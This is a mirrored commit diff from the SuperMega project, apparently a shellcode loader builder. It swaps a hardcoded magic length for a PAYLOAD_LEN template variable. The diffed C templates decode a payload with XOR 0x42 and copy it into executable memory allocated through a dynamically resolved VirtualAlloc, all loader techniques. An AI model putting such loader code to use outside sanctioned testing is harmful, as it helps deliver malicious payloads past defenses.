mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
refactor: use PAYLOAD_LEN in template instead of 0x11223344 in asm
This commit is contained in:
@@ -98,13 +98,6 @@ def fixup_asm_file(filename: FilePath, payload_len: int, short_call_patching: bo
|
|||||||
"[shcstart]"
|
"[shcstart]"
|
||||||
)
|
)
|
||||||
|
|
||||||
# replace payload length
|
|
||||||
for idx, line in enumerate(lines):
|
|
||||||
if "11223344" in lines[idx]:
|
|
||||||
logger.info(" > Replace payload length at line: {}".format(idx))
|
|
||||||
lines[idx] = lines[idx].replace("11223344", str(payload_len))
|
|
||||||
break
|
|
||||||
|
|
||||||
# add label at end of code
|
# add label at end of code
|
||||||
for idx, line in enumerate(lines):
|
for idx, line in enumerate(lines):
|
||||||
if lines[idx].startswith("END"):
|
if lines[idx].startswith("END"):
|
||||||
|
|||||||
@@ -39,6 +39,9 @@ def create_c_from_template(
|
|||||||
filepath = "plugins/decoder/{}.c".format(decoder_style.value)
|
filepath = "plugins/decoder/{}.c".format(decoder_style.value)
|
||||||
with open(filepath, "r", encoding='utf-8') as file:
|
with open(filepath, "r", encoding='utf-8') as file:
|
||||||
plugin_decoder = file.read()
|
plugin_decoder = file.read()
|
||||||
|
plugin_decoder = Template(plugin_decoder).render({
|
||||||
|
'PAYLOAD_LEN': payload_len,
|
||||||
|
})
|
||||||
|
|
||||||
filepath = "plugins/executor/{}.c".format(exec_style.value)
|
filepath = "plugins/executor/{}.c".format(exec_style.value)
|
||||||
with open("plugins/executor/direct_1.c", "r", encoding='utf-8') as file:
|
with open("plugins/executor/direct_1.c", "r", encoding='utf-8') as file:
|
||||||
@@ -55,6 +58,7 @@ def create_c_from_template(
|
|||||||
'plugin_allocator': plugin_allocator,
|
'plugin_allocator': plugin_allocator,
|
||||||
'plugin_decoder': plugin_decoder,
|
'plugin_decoder': plugin_decoder,
|
||||||
'plugin_executor': plugin_executor,
|
'plugin_executor': plugin_executor,
|
||||||
|
'PAYLOAD_LEN': payload_len,
|
||||||
})
|
})
|
||||||
with open(main_c_file, "w", encoding='utf-8') as file:
|
with open(main_c_file, "w", encoding='utf-8') as file:
|
||||||
file.write(rendered_template)
|
file.write(rendered_template)
|
||||||
@@ -78,6 +82,7 @@ def create_c_from_template(
|
|||||||
'plugin_allocator': plugin_allocator,
|
'plugin_allocator': plugin_allocator,
|
||||||
'plugin_decoder': plugin_decoder,
|
'plugin_decoder': plugin_decoder,
|
||||||
'plugin_executor': plugin_executor,
|
'plugin_executor': plugin_executor,
|
||||||
|
'PAYLOAD_LEN': payload_len,
|
||||||
})
|
})
|
||||||
with open(main_c_file, "w", encoding='utf-8') as file:
|
with open(main_c_file, "w", encoding='utf-8') as file:
|
||||||
file.write(rendered_template)
|
file.write(rendered_template)
|
||||||
|
|||||||
@@ -1,3 +1,3 @@
|
|||||||
for (int n=0; n<11223344; n++) {
|
for (int n=0; n<{{PAYLOAD_LEN}}; n++) {
|
||||||
dest[n] = supermega_payload[n];
|
dest[n] = supermega_payload[n];
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
for (int n=0; n<11223344; n++){
|
for (int n=0; n<{{PAYLOAD_LEN}}; n++){
|
||||||
dest[n] = supermega_payload[n];
|
dest[n] = supermega_payload[n];
|
||||||
dest[n] = dest[n] ^ 0x42;
|
dest[n] = dest[n] ^ 0x42;
|
||||||
}
|
}
|
||||||
@@ -84,10 +84,10 @@ int main()
|
|||||||
_In_ DWORD flAllocationType,
|
_In_ DWORD flAllocationType,
|
||||||
_In_ DWORD flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
|
_In_ DWORD flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
|
||||||
if (_VirtualAlloc == NULL) return 4;
|
if (_VirtualAlloc == NULL) return 4;
|
||||||
char *dest = _VirtualAlloc(NULL, 4096, 0x3000, 0x40);
|
char *dest = _VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
|
||||||
// 11223344 is a magic number which will be replaced in the asm source
|
// 11223344 is a magic number which will be replaced in the asm source
|
||||||
// with the payload length.
|
// with the payload length.
|
||||||
for(int n=0; n<11223344; n++) {
|
for(int n=0; n<{{PAYLOAD_LEN}}; n++) {
|
||||||
dest[n] = supermega_payload[n];
|
dest[n] = supermega_payload[n];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user